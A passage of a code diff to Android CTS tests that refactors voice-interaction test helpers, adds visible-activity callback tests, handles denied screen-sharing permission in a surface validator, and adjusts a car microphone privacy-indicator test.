         Log.d(TAG, "onActivityResult");
         mMediaProjection = mProjectionManager.getMediaProjection(resultCode, data);
@@ -236,6 +241,9 @@
         // because permission activity is already recreated.
         // Thus, we try to click that button multiple times.
         do {
+            if (mIsSharingScreenDenied.get()) {
+                throw new IllegalStateException("User denied screen sharing permission.");
+            }
             assertTrue("Can't get the permission", count <= RETRY_COUNT);
             dismissPermissionDialog();
             count++;
@@ -349,6 +357,10 @@
     }
 
     public void verifyTest(ISurfaceValidatorTestCase testCase, TestName name) throws Throwable {
+        if (mIsSharingScreenDenied.get()) {
+            throw new IllegalStateException("User denied screen sharing permission.");
+        }
+
         CapturedActivity.TestResult result = runTest(testCase);
         saveFailureCaptures(result.failures, name);
 
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
index bd37fa0..ab71181 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
@@ -38,20 +38,25 @@
     public short mMinGreen;
     public short mMaxGreen;
 
-    public PixelColor(int color) {
-        short alpha = (short) ((color >> 24) & 0xFF);
-        short blue = (short) ((color >> 16) & 0xFF);
-        short green = (short) ((color >> 8) & 0xFF);
-        short red = (short) (color & 0xFF);
+    public short mAlpha;
+    public short mRed;
+    public short mGreen;
+    public short mBlue;
 
-        mMinAlpha = (short) getMinValue(alpha);
-        mMaxAlpha = (short) getMaxValue(alpha);
-        mMinRed = (short) getMinValue(red);
-        mMaxRed = (short) getMaxValue(red);
-        mMinBlue = (short) getMinValue(blue);
-        mMaxBlue = (short) getMaxValue(blue);
-        mMinGreen = (short) getMinValue(green);
-        mMaxGreen = (short) getMaxValue(green);
+    public PixelColor(int color) {
+        mAlpha = (short) ((color >> 24) & 0xFF);
+        mBlue = (short) ((color >> 16) & 0xFF);
+        mGreen = (short) ((color >> 8) & 0xFF);
+        mRed = (short) (color & 0xFF);
+
+        mMinAlpha = (short) getMinValue(mAlpha);
+        mMaxAlpha = (short) getMaxValue(mAlpha);
+        mMinRed = (short) getMinValue(mRed);
+        mMaxRed = (short) getMaxValue(mRed);
+        mMinBlue = (short) getMinValue(mBlue);
+        mMaxBlue = (short) getMaxValue(mBlue);
+        mMinGreen = (short) getMinValue(mGreen);
+        mMaxGreen = (short) getMaxValue(mGreen);
     }
 
     public PixelColor() {
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index d936b7c..4e9b47b 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -45,6 +45,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -66,7 +67,8 @@
     private final String PRIVACY_CHIP_ID = "privacy_chip";
     private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
     private final String PRIVACY_DIALOG_CONTENT_ID = "text";
-    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "car_ui_list_item_title";
+    private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "mic_privacy_panel";
+    private final String CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID = "qc_title";
     private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
     // The cts app label
     private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
@@ -170,6 +172,7 @@
         testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
     }
 
+    @Ignore("b/266789512")
     @Test
     public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
         // We treat trusted if the current voice recognizer is also a preinstalled app. This is a
@@ -230,21 +233,25 @@
                 recognitionCallingAppLabels).isNotEmpty();
 
         // get dialog content
-        final String dialogDescription =
-                recognitionCallingAppLabels
-                        .stream()
-                        .map(UiObject2::getText)
-                        .collect(Collectors.joining("\n"));
+        String dialogDescription;
+        if (isCar()) {
+            dialogDescription =
+                    recognitionCallingAppLabels.get(0)
+                            .findObjects(By.res(PRIVACY_DIALOG_PACKAGE_NAME,
+                                    CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID))
+                            .stream()
+                            .map(UiObject2::getText)
+                            .collect(Collectors.joining("\n"));
+        } else {
+            dialogDescription =
+                    recognitionCallingAppLabels
+                            .stream()
+                            .map(UiObject2::getText)
+                            .collect(Collectors.joining("\n"));
+        }
         Log.i(TAG, "Retrieved dialog description " + dialogDescription);
 
-        if (isCar()) {
-            // Make sure Voice recognizer's app label is present in dialog.
-            assertWithMessage(
-                    "Voice recognition service can blame the calling app name " + APP_LABEL
-                            + ", but does not find it.")
-                    .that(dialogDescription)
-                    .contains(APP_LABEL);
-        } else if (trustVoiceService) {
+        if (trustVoiceService) {
             // Check trust recognizer can blame calling apmic permission
             assertWithMessage(
                     "Trusted voice recognition service can blame the calling app name " + APP_LABEL
diff --git a/tests/tests/voiceinteraction/AndroidManifest.xml b/tests/tests/voiceinteraction/AndroidManifest.xml
index 9d7839e..1b8b513 100644
--- a/tests/tests/voiceinteraction/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/AndroidManifest.xml
@@ -44,6 +44,14 @@
             android:label="Voice Interaction Service Activity"
             android:exported="true">
         </activity>
+        <activity android:name=".activities.EmptyActivity"
+                  android:label="Empty Activity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
         <service android:name="android.voiceinteraction.service.BasicVoiceInteractionService"
                  android:label="CTS test Basic voice interaction service"
                  android:permission="android.permission.BIND_VOICE_INTERACTION"
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index 69ae2a9..5d80b57 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Voice Interaction test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index e9052de..d667329 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -19,5 +19,6 @@
 java_library {
     name: "CtsVoiceInteractionCommon",
     srcs: ["src/**/*.java"],
-    sdk_version: "current",
+    static_libs: ["compatibility-device-util-axt"],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index 4a34e2a..5188b54 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -22,7 +22,10 @@
 import android.os.Parcelable;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import java.util.ArrayList;
+import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
@@ -99,6 +102,17 @@
     /** Indicate which test scenario for testing. */
     public static final int HOTWORD_DETECTION_SERVICE_ON_UPDATE_STATE_CRASH = 1;
 
+    /** Indicate to start a new activity for testing. */
+    public static final int ACTIVITY_NEW = 0;
+    /** Indicate to finish an activity for testing. */
+    public static final int ACTIVITY_FINISH = 1;
+
+    /** Indicate what kind of parameters for calling registerVisibleActivityCallback. */
+    public static final int VISIBLE_ACTIVITY_CALLBACK_REGISTER_NORMAL = 0;
+    public static final int VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_EXECUTOR = 1;
+    public static final int VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_CALLBACK = 2;
+
+    public static final String TEST_APP_PACKAGE = "android.voiceinteraction.testapp";
     public static final String TESTCASE_TYPE = "testcase_type";
     public static final String TESTINFO = "testinfo";
     public static final String BROADCAST_INTENT = "android.intent.action.VOICE_TESTAPP";
@@ -134,14 +148,8 @@
     public static final String DIRECT_ACTION_AUTHORITY =
             "android.voiceinteraction.testapp.fileprovider";
 
-    public static final String DIRECT_ACTIONS_KEY_CALLBACK = "callback";
     public static final String DIRECT_ACTIONS_KEY_CANCEL_CALLBACK = "cancelCallback";
-    public static final String DIRECT_ACTIONS_KEY_CONTROL = "control";
-    public static final String DIRECT_ACTIONS_KEY_COMMAND = "command";
     public static final String DIRECT_ACTIONS_KEY_RESULT = "result";
-    public static final String DIRECT_ACTIONS_KEY_ACTION = "action";
-    public static final String DIRECT_ACTIONS_KEY_ARGUMENTS = "arguments";
-    public static final String DIRECT_ACTIONS_KEY_CLASS = "class";
 
     public static final String DIRECT_ACTIONS_SESSION_CMD_PERFORM_ACTION = "performAction";
     public static final String DIRECT_ACTIONS_SESSION_CMD_PERFORM_ACTION_CANCEL =
@@ -149,11 +157,9 @@
     public static final String DIRECT_ACTIONS_SESSION_CMD_DETECT_ACTIONS_CHANGED =
             "detectActionsChanged";
     public static final String DIRECT_ACTIONS_SESSION_CMD_GET_ACTIONS = "getActions";
-    public static final String DIRECT_ACTIONS_SESSION_CMD_FINISH = "hide";
 
     public static final String DIRECT_ACTIONS_ACTIVITY_CMD_DESTROYED_INTERACTOR =
             "destroyedInteractor";
-    public static final String DIRECT_ACTIONS_ACTIVITY_CMD_FINISH = "finish";
     public static final String DIRECT_ACTIONS_ACTIVITY_CMD_INVALIDATE_ACTIONS = "invalidateActions";
 
     public static final String DIRECT_ACTIONS_RESULT_PERFORMED = "performed";
@@ -180,6 +186,25 @@
     public static final String KEY_TEST_RESULT = "testResult";
     public static final String KEY_TEST_SCENARIO = "testScenario";
 
+    public static final String VOICE_INTERACTION_KEY_CALLBACK = "callback";
+    public static final String VOICE_INTERACTION_KEY_CONTROL = "control";
+    public static final String VOICE_INTERACTION_KEY_COMMAND = "command";
+    public static final String VOICE_INTERACTION_DIRECT_ACTIONS_KEY_ACTION = "action";
+    public static final String VOICE_INTERACTION_KEY_ARGUMENTS = "arguments";
+    public static final String VOICE_INTERACTION_KEY_CLASS = "class";
+    public static final String VOICE_INTERACTION_SESSION_CMD_FINISH = "hide";
+    public static final String VOICE_INTERACTION_ACTIVITY_CMD_FINISH = "finish";
+
+    // For v2 reliable visible activity lookup feature
+    public static final String VISIBLE_ACTIVITY_CALLBACK_ONVISIBLE_INTENT =
+            "android.intent.action.VISIBLE_ACTIVITY_CALLBACK_ONVISIBLE_INTENT";
+    public static final String VISIBLE_ACTIVITY_CALLBACK_ONINVISIBLE_INTENT =
+            "android.intent.action.VISIBLE_ACTIVITY_CALLBACK_ONINVISIBLE_INTENT";
+    public static final String VISIBLE_ACTIVITY_KEY_RESULT = "result";
+
+    public static final String VISIBLE_ACTIVITY_CMD_REGISTER_CALLBACK = "registerCallback";
+    public static final String VISIBLE_ACTIVITY_CMD_UNREGISTER_CALLBACK = "unregisterCallback";
+
     public static final String toBundleString(Bundle bundle) {
         if (bundle == null) {
             return "null_bundle";
@@ -267,4 +292,10 @@
         }
         return bits;
     }
+
+    public static boolean isVirtualDevice() {
+        final String property = PropertyUtil.getProperty("ro.hardware.virtual_device");
+        Log.v(TAG, "virtual device property=" + property);
+        return Objects.equals(property, "1");
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
index f19e357..c171298 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/DirectActionsSession.java
@@ -18,10 +18,12 @@
 
 import android.app.DirectAction;
 import android.content.Context;
+import android.content.Intent;
 import android.os.AsyncTask;
 import android.os.Bundle;
 import android.os.CancellationSignal;
 import android.os.RemoteCallback;
+import android.service.voice.VisibleActivityInfo;
 import android.service.voice.VoiceInteractionSession;
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
@@ -31,6 +33,7 @@
 
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.function.Consumer;
@@ -51,6 +54,24 @@
     // GuardedBy("mLock")
     private boolean mActionsInvalidated;
 
+    private final VisibleActivityCallback mCallback = new VisibleActivityCallback() {
+        @Override
+        public void onVisible(VisibleActivityInfo activityInfo) {
+            VisibleActivityCallback.super.onVisible(activityInfo);
+            Log.v(TAG, "onVisible : " + activityInfo);
+            broadcastVisibleActivityCallback(Utils.VISIBLE_ACTIVITY_CALLBACK_ONVISIBLE_INTENT,
+                    true);
+        }
+
+        @Override
+        public void onInvisible(ActivityId activityId) {
+            VisibleActivityCallback.super.onInvisible(activityId);
+            Log.v(TAG, "onInvisible : " + activityId);
+            broadcastVisibleActivityCallback(Utils.VISIBLE_ACTIVITY_CALLBACK_ONINVISIBLE_INTENT,
+                    true);
+        }
+    };
+
     public DirectActionsSession(@NonNull Context context) {
         super(context);
     }
@@ -61,13 +82,13 @@
             Log.e("TODO", "onshow() received null args");
             return;
         }
-        final RemoteCallback callback = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+        final RemoteCallback callback = args.getParcelable(Utils.VOICE_INTERACTION_KEY_CALLBACK);
 
         final RemoteCallback control = new RemoteCallback((cmdArgs) -> {
-            final String command = cmdArgs.getString(Utils.DIRECT_ACTIONS_KEY_COMMAND);
+            final String command = cmdArgs.getString(Utils.VOICE_INTERACTION_KEY_COMMAND);
             Log.v(TAG, "on remote callback: command=" + command);
             final RemoteCallback commandCallback = cmdArgs.getParcelable(
-                    Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+                    Utils.VOICE_INTERACTION_KEY_CALLBACK);
             switch (command) {
                 case Utils.DIRECT_ACTIONS_SESSION_CMD_PERFORM_ACTION: {
                     executeWithAssist((result) -> performDirectAction(cmdArgs, result),
@@ -80,22 +101,32 @@
                 case Utils.DIRECT_ACTIONS_SESSION_CMD_GET_ACTIONS: {
                     executeWithAssist(this::getDirectActions, commandCallback);
                 } break;
-                case Utils.DIRECT_ACTIONS_SESSION_CMD_FINISH: {
+                case Utils.VOICE_INTERACTION_SESSION_CMD_FINISH: {
                     executeWithAssist(this::performHide, commandCallback);
                 } break;
                 case Utils.DIRECT_ACTIONS_SESSION_CMD_DETECT_ACTIONS_CHANGED: {
                     executeWithAssist(this::detectDirectActionsInvalidated, commandCallback);
                 } break;
+                case Utils.VISIBLE_ACTIVITY_CMD_REGISTER_CALLBACK: {
+                    executeWithAssist(
+                            (result) -> registerVisibleActivityCallbackInternal(cmdArgs, result),
+                            commandCallback);
+                } break;
+                case Utils.VISIBLE_ACTIVITY_CMD_UNREGISTER_CALLBACK: {
+                    executeWithAssist(this::unregisterVisibleActivityCallbackInternal,
+                            commandCallback);
+                } break;
             }
         });
 
         final Bundle result = new Bundle();
-        result.putParcelable(Utils.DIRECT_ACTIONS_KEY_CONTROL, control);
+        result.putParcelable(Utils.VOICE_INTERACTION_KEY_CONTROL, control);
         callback.sendResult(result);
     }
 
     @Override
     public void onHandleAssist(AssistState state) {
+        Log.v(TAG, "onHandleAssist");
         if (state.getIndex() == 0) {
             mLock.lock();
             try {
@@ -158,8 +189,9 @@
     }
 
     private void performDirectAction(@NonNull Bundle args, @NonNull Bundle outResult) {
-        final DirectAction action = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_ACTION);
-        final Bundle arguments = args.getBundle(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS);
+        final DirectAction action = args.getParcelable(
+                Utils.VOICE_INTERACTION_DIRECT_ACTIONS_KEY_ACTION);
+        final Bundle arguments = args.getBundle(Utils.VOICE_INTERACTION_KEY_ARGUMENTS);
 
         final Bundle result = new Bundle();
         final CountDownLatch latch = new CountDownLatch(1);
@@ -174,8 +206,9 @@
     }
 
     private void performDirectActionAndCancel(@NonNull Bundle args, @NonNull Bundle outResult) {
-        final DirectAction action = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_ACTION);
-        final Bundle arguments = args.getBundle(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS);
+        final DirectAction action = args.getParcelable(
+                Utils.VOICE_INTERACTION_DIRECT_ACTIONS_KEY_ACTION);
+        final Bundle arguments = args.getBundle(Utils.VOICE_INTERACTION_KEY_ARGUMENTS);
         final Bundle result = new Bundle();
 
         final CountDownLatch cancelLatch = new CountDownLatch(1);
@@ -224,4 +257,56 @@
         outResult.putBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT, true);
         Log.v(TAG, "performHide(): " + Utils.toBundleString(outResult));
     }
+
+    private void registerVisibleActivityCallbackInternal(@NonNull Bundle args,
+            @NonNull Bundle outResult) {
+        Log.v(TAG, "registerVisibleActivityCallbackInternal");
+        final Bundle arguments = args.getBundle(Utils.VOICE_INTERACTION_KEY_ARGUMENTS);
+        final int callbackParameter = arguments.getInt(
+                Utils.VISIBLE_ACTIVITY_CMD_REGISTER_CALLBACK);
+        Log.v(TAG, "callbackParameter : " + callbackParameter);
+
+        mLock.lock();
+        try {
+            switch (callbackParameter) {
+                case Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_NORMAL:
+                    registerVisibleActivityCallback(Executors.newSingleThreadExecutor(), mCallback);
+                    break;
+                case Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_EXECUTOR:
+                    registerVisibleActivityCallback(/* executor */ null, mCallback);
+                    break;
+                case Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_CALLBACK:
+                    registerVisibleActivityCallback(
+                            Executors.newSingleThreadExecutor(), /* callback */ null);
+                    break;
+            }
+            outResult.putBoolean(Utils.VISIBLE_ACTIVITY_KEY_RESULT, true);
+        } catch (Throwable t) {
+            outResult.putSerializable(Utils.VISIBLE_ACTIVITY_KEY_RESULT, t);
+        } finally {
+            mLock.unlock();
+        }
+        Log.v(TAG, "registerVisibleActivityCallbackInternal(): " + Utils.toBundleString(outResult));
+    }
+
+    private void unregisterVisibleActivityCallbackInternal(@NonNull Bundle outResult) {
+        Log.v(TAG, "unregisterVisibleActivityCallbackInternal");
+        mLock.lock();
+        try {
+            unregisterVisibleActivityCallback(mCallback);
+        } finally {
+            mLock.unlock();
+        }
+        outResult.putBoolean(Utils.VISIBLE_ACTIVITY_KEY_RESULT, true);
+        Log.v(TAG,
+                "unregisterVisibleActivityCallbackInternal(): " + Utils.toBundleString(outResult));
+    }
+
+    private void broadcastVisibleActivityCallback(String intentName, boolean result) {
+        final Intent intent = new Intent(intentName)
+                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY)
+                .putExtra(Utils.VISIBLE_ACTIVITY_KEY_RESULT, result);
+        Log.v(TAG, "broadcast intent = " + intent + ", result = " + result);
+        getContext().sendBroadcast(intent);
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index 759876c..4fb3f8e 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -324,6 +324,11 @@
                 }
                 numBytes += bytesRead;
             }
+            // The audio data will be zero on virtual device, so it would be better to skip to
+            // check the audio data.
+            if (Utils.isVirtualDevice()) {
+                return true;
+            }
             for (byte b : buffer) {
                 // TODO: Maybe check that some portion of the bytes are non-zero.
                 if (b != 0) {
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
index 5b03af7..00b94da 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionService.java
@@ -24,7 +24,6 @@
 import android.os.Bundle;
 import android.service.voice.AlwaysOnHotwordDetector;
 import android.service.voice.VoiceInteractionService;
-import android.service.voice.VoiceInteractionSession;
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
 
@@ -68,7 +67,7 @@
     private void maybeStart() {
         Bundle args = mIntent.getExtras();
         final String className = (args != null)
-                ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
+                ? args.getString(Utils.VOICE_INTERACTION_KEY_CLASS) : null;
         if (className == null) {
             Log.i(TAG, "Yay! about to start session with TestApp");
             if (isActiveService(this, new ComponentName(this, getClass()))) {
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSessionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSessionService.java
index feb8d62..d8fab90 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSessionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainInteractionSessionService.java
@@ -29,7 +29,7 @@
     @Override
     public VoiceInteractionSession onNewSession(Bundle args) {
         final String className = (args != null)
-                ? args.getString(Utils.DIRECT_ACTIONS_KEY_CLASS) : null;
+                ? args.getString(Utils.VOICE_INTERACTION_KEY_CLASS) : null;
         if (className == null) {
             return new MainInteractionSession(this);
         } else {
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index 4af3b90..4ece6b9 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -29,6 +29,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.cts.testcore.VoiceInteractionSessionControl;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -48,8 +49,6 @@
  */
 public class DirectActionsTest extends AbstractVoiceInteractionTestCase {
     private static final String TAG = DirectActionsTest.class.getSimpleName();
-    private static final long OPERATION_TIMEOUT_MS = 5000;
-    private static final String TEST_APP_PACKAGE = "android.voiceinteraction.testapp";
 
     private final @NonNull SessionControl mSessionControl = new SessionControl();
     private final @NonNull ActivityControl mActivityControl = new ActivityControl();
@@ -137,37 +136,22 @@
             mActivityControl.finishActivity();
         }
     }
-    private final class SessionControl {
-        private @Nullable RemoteCallback mControl;
+
+    private final class SessionControl extends VoiceInteractionSessionControl {
+
+        SessionControl() {
+            super(mContext);
+        }
 
         private void startVoiceInteractionSession() throws Exception {
-            final CountDownLatch latch = new CountDownLatch(1);
-
-            final RemoteCallback callback = new RemoteCallback((result) -> {
-                mControl = result.getParcelable(Utils.DIRECT_ACTIONS_KEY_CONTROL);
-                latch.countDown();
-            });
-
             final Intent intent = new Intent();
-            intent.putExtra(Utils.DIRECT_ACTIONS_KEY_CLASS,
+            intent.putExtra(Utils.VOICE_INTERACTION_KEY_CLASS,
                     "android.voiceinteraction.service.DirectActionsSession");
             intent.setClassName("android.voiceinteraction.service",
                     "android.voiceinteraction.service.VoiceInteractionMain");
-            intent.putExtra(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
-            Log.v(TAG, "startVoiceInteractionSession(): " + intent);
-            mContext.startActivity(intent);
-
-            if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                throw new TimeoutException("actitvity not started in " + OPERATION_TIMEOUT_MS
-                        + "ms");
-            }
-        }
-
-        private void stopVoiceInteractionSession() throws Exception {
-            executeCommand(Utils.DIRECT_ACTIONS_SESSION_CMD_FINISH,
-                    null /*directAction*/, null /*arguments*/, null /*postActionCommand*/);
+            startVoiceInteractionSession(intent);
         }
 
         @Nullable List<DirectAction> getDirectActions() throws Exception {
@@ -198,42 +182,6 @@
                     null /*directAction*/, null /*arguments*/, postActionCommand);
             return result.getBoolean(Utils.DIRECT_ACTIONS_KEY_RESULT);
         }
-
-        @Nullable Bundle executeCommand(@NonNull String action, @Nullable DirectAction directAction,
-                @Nullable Bundle arguments, @Nullable ThrowingRunnable postActionCommand)
-                throws Exception {
-            final CountDownLatch latch = new CountDownLatch(1);
-
-            final Bundle result = new Bundle();
-
-            final RemoteCallback callback = new RemoteCallback((b) -> {
-                result.putAll(b);
-                latch.countDown();
-            });
-
-            final Bundle command = new Bundle();
-            command.putString(Utils.DIRECT_ACTIONS_KEY_COMMAND, action);
-            command.putParcelable(Utils.DIRECT_ACTIONS_KEY_ACTION, directAction);
-            command.putBundle(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS, arguments);
-            command.putParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
-
-            Log.v(TAG, "executeCommand(): action=" + action + " command="
-                    + Utils.toBundleString(command));
-            mControl.sendResult(command);
-
-            if (postActionCommand != null) {
-                Log.v(TAG, "Executing post-action command for " + action);
-                postActionCommand.run();
-            }
-
-            if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                throw new TimeoutException("result not received in " + OPERATION_TIMEOUT_MS + "ms");
-            }
-
-            Log.v(TAG, "returning " + Utils.toBundleString(result));
-
-            return result;
-        }
     }
 
     private final class ActivityControl {
@@ -245,7 +193,7 @@
             final RemoteCallback callback = new RemoteCallback((result) -> {
                 Log.v(TAG, "ActivityControl: testapp called the callback: "
                         + Utils.toBundleString(result));
-                mControl = result.getParcelable(Utils.DIRECT_ACTIONS_KEY_CONTROL);
+                mControl = result.getParcelable(Utils.VOICE_INTERACTION_KEY_CONTROL);
                 latch.countDown();
             });
 
@@ -255,24 +203,24 @@
                     .setData(Uri.parse("https://android.voiceinteraction.testapp"
                             + "/DirectActionsActivity"))
                     .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
-                    .putExtra(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
+                    .putExtra(Utils.VOICE_INTERACTION_KEY_CALLBACK, callback);
             if (mContext.getPackageManager().isInstantApp()) {
                 // Override app-links domain verification.
                 runShellCommand(
                         String.format(
                                 "pm set-app-links-user-selection --user cur --package %1$s true"
                                         + " %1$s",
-                                TEST_APP_PACKAGE));
+                                Utils.TEST_APP_PACKAGE));
             } else {
-                intent.setPackage(TEST_APP_PACKAGE);
+                intent.setPackage(Utils.TEST_APP_PACKAGE);
             }
 
             Log.v(TAG, "startActivity: " + intent);
             mContext.startActivity(intent);
 
-            if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                throw new TimeoutException("actitvity not started in " + OPERATION_TIMEOUT_MS
-                        + "ms");
+            if (!latch.await(Utils.OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                throw new TimeoutException(
+                        "activity not started in " + Utils.OPERATION_TIMEOUT_MS + "ms");
             }
         }
 
@@ -285,7 +233,7 @@
         }
 
         void finishActivity() throws Exception {
-            executeRemoteCommand(Utils.DIRECT_ACTIONS_ACTIVITY_CMD_FINISH);
+            executeRemoteCommand(Utils.VOICE_INTERACTION_ACTIVITY_CMD_FINISH);
         }
 
         void invalidateDirectActions() throws Exception {
@@ -312,8 +260,8 @@
             });
 
             final Bundle command = new Bundle();
-            command.putString(Utils.DIRECT_ACTIONS_KEY_COMMAND, action);
-            command.putParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK, callback);
+            command.putString(Utils.VOICE_INTERACTION_KEY_COMMAND, action);
+            command.putParcelable(Utils.VOICE_INTERACTION_KEY_CALLBACK, callback);
 
             Log.v(TAG, "executeRemoteCommand(): sending command for '" + action + "'");
             mControl.sendResult(command);
@@ -327,8 +275,9 @@
                 }
             }
 
-            if (!latch.await(OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                throw new TimeoutException("result not received in " + OPERATION_TIMEOUT_MS + "ms");
+            if (!latch.await(Utils.OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                throw new TimeoutException(
+                        "result not received in " + Utils.OPERATION_TIMEOUT_MS + "ms");
             }
             return result;
         }
@@ -347,7 +296,8 @@
 
     private @NonNull Bundle createActionArguments() {
         final Bundle args = new Bundle();
-        args.putString(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS, Utils.DIRECT_ACTIONS_KEY_ARGUMENTS);
+        args.putString(Utils.VOICE_INTERACTION_KEY_ARGUMENTS,
+                Utils.VOICE_INTERACTION_KEY_ARGUMENTS);
         Log.v(TAG, "createActionArguments(): " + Utils.toBundleString(args));
         return args;
     }
